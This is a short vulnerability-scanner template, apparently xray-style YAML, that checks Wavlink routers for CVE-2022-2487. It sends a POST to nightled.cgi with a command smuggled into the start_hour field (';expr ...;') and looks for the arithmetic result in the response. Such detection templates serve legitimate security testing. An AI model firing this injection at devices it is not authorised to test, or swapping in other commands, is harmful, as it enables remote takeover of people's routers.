wavlink-nightled-rce-cve-2022-2487.yml

name: poc-yaml-wavlink-nightled-remote-command-execute
binding: dac74323-0603-4712-b3f1-cf655c5bbae2
manual: true
detail:
    author: we1x4n
    links:
        - https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2022/CVE-2022-2487.yaml
    vulnerability:
        id: CT-459338
        level: critical
transport: http
set:
    r1: randomInt(500000, 1000000)
    r2: randomInt(5000000, 10000000)
rules:
    r0:
        request:
            cache: true
            method: POST
            path: /cgi-bin/nightled.cgi
            headers:
                Content-Type: application/x-www-form-urlencoded
            body: page=night_led&start_hour=;expr {{r1}} - {{r2}};
            follow_redirects: false
        expression: response.status == 200 && response.body.bcontains(bytes(string(r1 - r2))) && response.body.bcontains(b"200 OK")
expression: r0()